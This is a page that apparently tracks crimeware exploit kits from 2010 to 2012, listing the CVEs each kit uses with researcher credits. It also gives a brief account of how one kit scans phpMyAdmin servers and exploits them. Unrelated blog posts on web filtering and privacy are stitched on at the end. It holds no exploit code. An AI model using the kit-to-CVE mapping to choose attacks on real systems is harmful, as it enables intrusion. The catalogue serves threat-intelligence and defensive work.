  1. Redkit 
  2. Neo Sploit
  3. Cool Pack
  4. Black hole 2.0
  5. Black hole 1.2.5
  6. Private no name
  7. Nuclear 2.2 (Update to 2.0 - actual v. # is unknown)
  8. Nuclear 2.1  (Update to 2.0 - actual v. # is unknown)
  9. CrimeBoss
  10. Grandsoft
  11. Sweet Orange 1.1 Update to 1.0 actual v. # is unknown)
  12. Sweet Orange 1.0
  13. Phoenix  3.1.15
  14. NucSoft
  15. Sakura 1.1 (Update to 1.0  actual v. # is unknown)
  16. AssocAID (unconfirmed)  






Exploit lists for the added/updated packs


AssocAID (unconfirmed)
09-'12
CVE-2011-3106
CVE-2012-1876
CVE-2012-1880
CVE-2012-3683
Unknown CVE
5


Redkit
08-'12
CVE-2010-0188
CVE-2012-0507
CVE-2012-4681
3

Neo Sploit
09-'12
CVE-2012-1723
CVE-2012-4681
2?

Cool
08-'12
CVE-2006-0003
CVE-2010-0188
CVE-2011-3402
CVE-2012-0507
CVE-2012-1723
CVE-2012-4681
5

Black hole 2.0
09-'12
CVE-2006-0003
CVE-2010-0188
CVE-2012-0507
CVE-2012-1723
CVE-2012-4681
CVE-2012-4969 promised
5

Black hole 1.2.5
08-'12
CVE-2006-0003
CVE-2007-5659 /2008-0655
CVE-2008-2992
CVE-2009-0927
CVE-2010-0188
CVE-2010-1885
CVE-2011-0559
CVE-2011-2110
CVE-2012-1723
CVE-2012-1889
CVE-2012-4681
11

Private no name
09-'12
CVE-2010-0188
CVE-2012-1723
CVE-2012-4681
3

Nuclear 2.2 (Update to 2.0 - actual v. # is unknown)
03-'12
CVE-2010-0188
CVE-2011-3544
CVE-2012-1723
CVE-2012-4681
4

Nuclear 2.1 (Update to 2.0 - actual v. # is unknown)
03-'12
CVE-2010-0188
CVE-2011-3544
CVE-2012-1723
3

CrimeBoss
09-'12
Java Signed Applet
CVE-2011-3544
CVE-2012-4681
3

Grandsoft
09-'12
CVE-2010-0188
CVE-2011-3544
2?

Sweet Orange 1.1
09-'12
CVE-2006-0003
CVE-2010-0188
CVE-2011-3544
CVE-2012-4681
4?

Sweet Orange 1.0
05-'12
CVE-2006-0003
CVE-2010-0188
CVE-2011-3544
3?

Phoenix  3.1.15
05-'12
CVE-2010-0842
CVE: 2010-0248
CVE-2011-2110
CVE-2011-2140
CVE: 2011-2371
CVE-2011-3544
CVE-2011-3659
Firefox social
CVE: 2012-0500
CVE-2012-0507
CVE-2012-0779
11

NucSoft
2012
CVE-2010-0188
CVE-2012-0507
2

Sakura 1.1
08-'12
CVE-2006-0003
CVE-2010-0806
CVE-2010-0842
CVE-2011-3544
CVE-2012-4681
5


Version 16. April 2, 2012

Thanks to Kahu security
for Wild Wild West graphic 

The full table in xls format - Version 16 can be downloaded from here. 



 










ADDITIONS AND CHANGES:

1. Blackhole Exploit Kit 1.2.3
Added:
  1. CVE-2011-0559 - Flash memory corruption via F-Secure
  2. CVE-2012-0507 - Java Atomic via Krebs on Security
  3. CVE-2011-3544 - Java Rhino  via Krebs on Security
2. Eleonore Exploit Kit 1.8.91 and above- via Kahu Security
Added:
  1. CVE-2012-0507 - Java Atomic- after 1.8.91was released
  2. CVE-2011-3544 - Java Rhino
  3. CVE-2011-3521 - Java Upd.27  see Timo HirvonenContagio, Kahu Security and Michael 'mihi' Schierl 
  4. CVE-2011-2462 - Adobe PDF U3D
Also includes
"Flash pack" (presumably the same as before)
"Quicktime" - CVE-2010-1818 ?
3. Incognito Exploit Pack v.2 and above 
there are rumors that Incognito development stopped after v.2 in 2011 and it is a different pack now. If you know, please send links or files.

Added after v.2 was released:
  1. CVE-2012-0507 - Java Atomic
See V.2 analysis via StopMalvertizing

4. Phoenix Exploit Kit v3.1 - via Malware Don't Need Coffee
Added:
  1. CVE-2012-0507 -  Java Atomic
  2. CVE-2011-3544 -  Java Rhino + Java TC (in one file)

5. Nuclear Pack v.2 - via TrustWave Spiderlabs


  1. CVE-2011-3544 Oracle Java Rhino
  2. CVE-2010-0840 JRE Trusted Method Chaining
  3. CVE-2010-0188 Acrobat Reader  – LibTIFF
  4. CVE-2006-0003 MDAC
6. Sakura Exploit Pack > v.1 via DaMaGeLaB

  1. CVE-2011-3544 - Java Rhino (It was in Exploitpack table v15, listing it to show all packs with this exploit)

7. Chinese Zhi Zhu Pack via Kahu Security and Francois Paget (McAfee)
  1. CVE-2012-0003 -  WMP MIDI 
  2. CVE-2011-1255 - IE Time Element Memory Corruption
  3. CVE-2011-2140 - Flash 10.3.183.x
  4. CVE-2011-2110 - Flash 10.3.181.x 
  5. CVE-2010-0806 - IEPeers

8. Gong Da Pack via Kahu Security 
  1. CVE-2011-2140  - Flash 10.3.183.x
  2. CVE-2012-0003 -  WMP MIDI  
  3. CVE-2011-3544 - Java Rhino 





  1. CVE-2010-0886 - Java SMB
  2. CVE-2010-0840 - JRE Trusted Method Chaining
  3. CVE-2008-2463 - Snapshot
  4. CVE-2010-0806 - IEPeers
  5. CVE-2007-5659/2008-0655 - Collab.collectEmailInfo
  6. CVE-2008-2992 - util.printf
  7. CVE-2009-0927 - getIco
  8. CVE-2009-4324 - newPlayer



Version 15. January 28, 2012

Additions - with many thanks to Kahu Security

 Hierarchy Exploit Pack
=================
CVE-2006-0003
CVE-2009-0927
CVE-2010-0094
CVE-2010-0188
CVE-2010-0806
CVE-2010-0840
CVE-2010-1297
CVE-2010-1885
CVE-2011-0611
JavaSignedApplet


Siberia Private
==========
CVE-2005-0055
CVE-2006-0003
CVE-2007-5659
CVE-2008-2463
CVE-2008-2992
CVE-2009-0075
CVE-2009-0927
CVE-2009-3867
CVE-2009-4324
CVE-2010-0806


Techno XPack
===========
CVE-2008-2992
CVE-2010-0188
CVE-2010-0842
CVE-2010-1297
CVE-2010-2884
CVE-2010-3552
CVE-2010-3654
JavaSignedApplet


"Yang Pack"
=========
CVE-2010-0806
CVE-2011-2110
CVE-2011-2140
CVE-2011-354




Version 14. January 19, 2012


Version 14 Exploit Pack table additions:

Credits for the excellent Wild Wild West (October 2011 edition) go to kahusecurity.com

With many thanks to  XyliBox (Xylitol - Steven),  Malware Intelligence blog,  and xakepy.cc for the information:

  1. Blackhole 1.2.1  (Java Rhino added, weaker Java exploits removed)
  2. Blackhole 1.2.1 (Java Skyline added)
  3. Sakura Exploit Pack 1.0  (new kid on the block, private pack)
  4. Phoenix 2.8. mini (condensed version of 2.7)
  5. Fragus Black (weak Spanish twist on the original, black colored admin panel, a few old exploits added)
If you find any errors or CVE information for packs not featured , please send it to my email (in my profile above, thank you very much) .
























 
The full table in xls format - Version 14 can be downloaded from here. 

The exploit pack table in XLSX format
The exploit pack table in csv format 

P.S. There are always corrections and additions thanks to your feedback after the document release, come back in a day or two to check in case v.15 is out.



Version 13. Aug 20, 2011


Kahusecurity issued an updated version of their Wild Wild West graphic that will help you learn Who is Who in the world of exploit packs. You can view the full version of their post in the link above.

Version 13 exploit pack table additions:
  1. Bleeding Life 3.0
  2. Merry Christmas Pack (many thanks to kahusecurity.com)+
  3. Best Pack (many thanks to kahusecurity.com)
  4. Sava Pack (many thanks to kahusecurity.com)
  5. LinuQ 
  6. Eleonore 1.6.5
  7. Zero Pack
  8. Salo Pack (incomplete but it is also old)



List of packs in the table in alphabetical order
  1. Best Pack
  2. Blackhole Exploit 1.0
  3. Blackhole Exploit 1.1
  4. Bleeding Life 2.0
  5. Bleeding Life 3.0
  6. Bomba
  7. CRIMEPACK 2.2.1
  8. CRIMEPACK 2.2.8
  9. CRIMEPACK 3.0
  10. CRIMEPACK 3.1.3
  11. Dloader
  12. EL Fiiesta
  13. Eleonore 1.3.2
  14. Eleonore 1.4.1
  15. Eleonore 1.4.4 Moded
  16. Eleonore 1.6.3a
  17. Eleonore 1.6.4
  18. Eleonore 1.6.5
  19. Fragus 1
  20. Icepack
  21. Impassioned Framework 1.0
  22. Incognito
  23. iPack
  24. JustExploit
  25. Katrin
  26. Merry Christmas Pack
  27. Liberty  1.0.7
  28. Liberty 2.1.0*
  29. LinuQ pack
  30. Lupit
  31. Mpack
  32. Mushroom/unknown
  33. Open Source Exploit (Metapack)
  34. Papka
  35. Phoenix  2.0 
  36. Phoenix 2.1
  37. Phoenix 2.2
  38. Phoenix 2.3
  39. Phoenix 2.4
  40. Phoenix 2.5
  41. Phoenix 2.7
  42. Robopak
  43. Salo pack
  44. Sava Pack
  45. SEO Sploit pack
  46. Siberia
  47. T-Iframer
  48. Unique Pack Sploit 2.1
  49. Webattack
  50. Yes Exploit 3.0RC
  51. Zero Pack
  52. Zombie Infection kit
  53. Zopack


----------------------------------------------
Bleeding Life 3.0
New Version Ad is here 

Merry Christmas Pack
read analysis at
kahusecurity.com
  
Best Pack
read analysis at 
kahusecurity.com
Sava Pack
read analysis at
kahusecurity.com
Eleonore 1.6.5 
[+] CVE-2011-0611
[+] CVE-2011-0559
[+] CVE-2010-4452
[-] CVE-2010-0886
Salo Pack
Old (2009), added just for
the collection


Zero Pack
62 exploits from various packs (mostly Open Source pack)
LinuQ pack
Designed to compromise linux servers using vulnerable PHPMyAdmin. Comes with DDoS bot but any kind of code can be loaded for Linux botnet creation.
LinuQ pack is PhpMyAdmin exploit pack with 4 PMA exploits based on a previous Russian version of the Romanian PMA scanner ZmEu. it is not considered to be original, unique, new, or anything special. All exploits are public and known well.


It is designed to be installed on an IRC server (like UnrealIRCD). IP ranges already listed in bios.txt can be scanned, vulnerable IPs and specific PMA vulnerabilities will be listed in vuln.txt, then the corresponding exploits can be launched against the vulnerable server. It is more like a bot using PMA vulnerabilities than exploit pack.
It is using
CVE-2009-1148 (unconfirmed)
CVE-2009-1149 (unconfirmed)
CVE-2009-1150 (unconfirmed)
CVE-2009-1151 (confirmed)




 ====================================================================
Version 12. May 26, 2011
additional changes (many thanks to kahusecurity.com)
Bomba
Papka

See the list of packs covered in the list below


The full table in xls format - Version 12 can be downloaded from here.
I want to thank everyone who sent packs and information  :)





Version 11 May 26, 2011 Changes:
    1. Phoenix2.7
    2. "Dloader" (well, dloader is a loader but the pack is  some unnamed pack http://damagelab.org/lofiversion/index.php?t=20852)
    3. nuclear pack
    4. Katrin
    5. Robopak
    6. Blackhole exploit kit 1.1.0
    7. Mushroom/unknown
    8. Open Source Exploit kit






    ====================================================================

    10. May 8, 2011 Version 10        Exploit Pack Table_V10May11
    First, I want to thank everyone who sent and posted comments for updates and corrections. 

    *** The Wild Wild West picture is from a great post about evolution of exploit packs by Kahu Security  Wild Wild West Update


    As usual, send your corrections and update lists.


    Changes:
    • Eleonore 1.6.4
    • Eleonore 1.6.3a
    • Incognito
    • Blackhole
    Go1Pack  (not included) as reported as being a fake pack, here is a gui. Here is a threatpost article referencing it as it was used for an attack 
    Also, here is another article claiming it is not a fake http://community.websense.com/blogs/securitylabs/archive/2011/04/19/Mass-Injections-Leading-to-g01pack-Exploit-Kit.aspx
    Go1 Pack CVE are reportedly
    CVE-2006-0003
    CVE-2009-0927
    CVE-2010-1423
    CVE-2010-1885

    Does anyone have this pack or see it offered for sale?

    Exploit kits I am planning to analyze and add (and/or find CVE listing for) are:

    • Open Source Exploit Kit
    • SALO
    • K0de

    Legend: 
    Black color entries by Francois Paget
    Red color entries by Gunther
    Blue color entries by Mila

    Also, here is a great presentation by Ratsoul (Donato Ferrante) about Java Exploits (http://www.inreverse.net/?p=1687)

    --------------------------------------------------------
     9.  April 5, 2011  Version 9        ExploitPackTable_V9Apr11

    It actually needs another update but I am posting it now and will issue version 10 as soon as I can.

    Changes:
    Phoenix 2.5
    IFramer
    Tornado
    Bleeding life

    Many thanks to Gunther for his contributions.
    If you wish to add some, please send your info together with the reference links. Also please feel free to send corrections if you notice any mistakes






    8. Update 8 Oct 22, 2010 Version 8 ExploitPackTable_V8Oct22-10

    Changes: 
    1. Eleonore 1.4.4 Moded added (thanks to malwareint.blogspot.com)
    2. Correction on CVE-2010-0746 in Phoenix 2.2 and 2.3. It is a mistake and the correct CVE is CVE-2010-0886 (thanks to etonshell for noticing)
    3. SEO Sploit pack added (thanks to whsbehind.blogspot.com,  evilcodecave.blogspot.com and blog.ahnlab.com)


    7. Update 7 Oct 18, 2010 Version 7 ExploitPackTable_V7Oct18-10 released
     thanks to SecNiche we have updates for Phoenix 2.4 :)
      
    We also added shorthand/slang/abbreviated names for exploits for easy matching of exploits to CVE in the future. Please send us more information re packs, exploit names that can be added in the list. Thank you!

     
    6. Update 6 Sept 27, 2010 Version 6 ExploitPackTable_V6Sept26-10 released
     Thanks to Francois Paget (McAfee) we have updates for Phoenix 2.2 and Phoenix 2.3


    5. Update 5. Sept 27, 2010 Version 5 ExploitPackTable_V5Sept26-10 released
    Added updates for Phoenix 2.1 and Crimepack 3.1.3

      
    4 Update 4  July 23, 2010  Version 4 ExploitPackTable_V4Ju23-10 released. Added a new Russian exploit kit called Zombie Infection Kit to the table. Read more at malwareview.com
    Update 3  July 7, 2010. Please read more about this on the Brian Krebs' blog Pirate Bay Hack Exposes User Booty 
    Update 2 June 27, 2010 Sorry but Impassioned Framework is back where it belongs - blue
    Update 1 June 24, 2010 Eleonore 1.4.1 columns was updated to include the correct list of the current exploits.

    Francois Paget  www.avertlabs.com kindly agreed to allow us to make additions to his Overview of Exploit Packs table published on Avertlabs (McAfee Blog)

    Many thanks to Gunther from ARTeam for his help with the update. There are a few blanks and question marks, please do no hesitate to email me if you know the answer or if you see any errors.



    Please click on the image below to expand it (it is a partial screenshot)  Impassioned Framework is tentatively marked a different color because the author claims it is a security audit tool not exploit pack. However, there was no sufficient information provided yet to validate such claims. The pack is temporarily/tentatively marked a different color. We'll keep you posted.


    Community news and analysis: April 2015

    Featured news

    • Google: Safe Browsing insight into a Javascript-based DDoS attack; the security risks of unwanted ad injectors; new Password Alert Chrome extension protects users from entering Google passwords into phishing sites
    • Mozilla on deprecating non-secure HTTP
    • WordPress 4.2.2 critical security release fixes several cross-site scripting vulnerabilities. (4.2.1, another critical security release, previously fixed a widely covered cross-site scripting vulnerability in the commenting system.)
    • Looking for a different kind of case study? Our partners at Area 1 Security explore phishing...via comic book. Take a look at “Operation Pineapple Sparkle.”

    Malware news + analysis

    Other security news

    Bloxham Students Caught Buying Legal Highs at School


    Bloxham Students Caught Buying Legal Highs at School


    It’s true what they say: History repeats itself. This is especially true in the world of web security where tech-savvy students, with an inquisitive nature try to find loopholes in school filters to get to where they want to be or to what they want to buy.

    Back in September we blogged about two high profile web filtering breaches in the US; highlighting the cases of Forest Grove and Glen Ellyn Elementary District. Both made the headlines because students had successfully circumvented web filtering controls.

    Now the media spotlight is on Bloxham School in Oxfordshire, England, after pupils were caught ordering legal highs from their dorms. See what I mean about history repeating itself? Okay, so the cases aren’t identical, but there is a unifying element. The Forest Grove student was found looking at erotica on Wattpad, students from Glen Ellyn students were caught looking at pornography, and at Bloxham it’s “legal” highs. The unifying factor in all three cases is that they were facilitated by a failure in the school’s web filter. 

    The difficulty, though, is working out what exactly went wrong with Bloxham’s filter, because none of the details surrounding the technicalities have been announced. Were students allowed access to website selling recreational drugs, or was there an oversight on the part of the web filtering management? In the original story broken by the Times, a teenage pupil was reported to have been expelled, and other students disciplined following an investigation by the school which found they had been on said websites.

    Without knowing the details, it is probably wrong to speculate, however, i’m going to do it anyway! It’s entirely possible Bloxham chose a more corporate focussed web filter. In a corporate environment, “legal" highs may not present as much of an issue as in an education setting. With a strong focus on education, Smoothwall’s content filter has always been good at picking up these types of site. This is aided by the real-time content filter not reliant on a domain list, as these sites are always on the edge of the law, and move rapidly. Because the law is different depending upon where you live - and, indeed, rapidly changing regarding these substances, Smoothwall doesn’t attempt to differentiate between the grey area of “legal highs” and those recreational substances on the other side of the law. All of them come under the “drugs” category. This gives a solid message across all age ranges, geographies and cultures: it’s best not to take chances with your health!

    The one question that could change the privacy debate

    How important is it to ask the right question? Our Security Advisor Sean Sullivan thinks it’s so important that it can either help or hurt your cause.

    Most anyone who has debated the issues of government surveillance and online tracking by corporations has likely faced someone who dismisses concerns with “I don’t have anything to hide.”

    This is apparently a very popular sentiment. 83 percent of respondents in the United Kingdom answered “No” to the question “Do you have anything to hide?” in a new F-Secure survey.

    “You might as well be asking people – are you a dishonest person?” Sean wrote in our latest Threat Report (like goes to PDF). “The question is emotionally charged and so of course people react to it in a defensive manner – I think it is perfectly natural that 83% of people said no.”

    Sean suggested another question that reframes the debate: “Would you want to share everything about your life with everyone everywhere, all the time, forever?”

    Think about just your Google Search history. Seriously, take a look at it — here’s how you can see it (and delete it).

    “And my prediction was proven correct – 89% of respondents did not want to be exhibitionists,” he wrote.

    Both questions, he notes, at the core ask, “Do you think privacy is important?” One does it in a way that’s accusatory. The other in a way that’s explanatory.

    Sean suggests that we all have things in our past we’d rather forget and asking the right question can get people to see that quite quickly.

    There’s reason to pessimistic about privacy given that there has been substantial change in U.S. government policy since the Snowden revelations began. But even that may change soon with bipartisan revisions to the the law that began legalized mass surveillance.

    This imperfect attempt to limit the NSA’s bulk collection is a promising start of a major shift away from methods that have done more to stifle digital freedom than to achieve the unachievable goal of creating a world without threats, if it’s indeed just a start.

    Maybe we’re starting to ask the right questions.

    [Image by Ashleigh Nushawg | Flickr]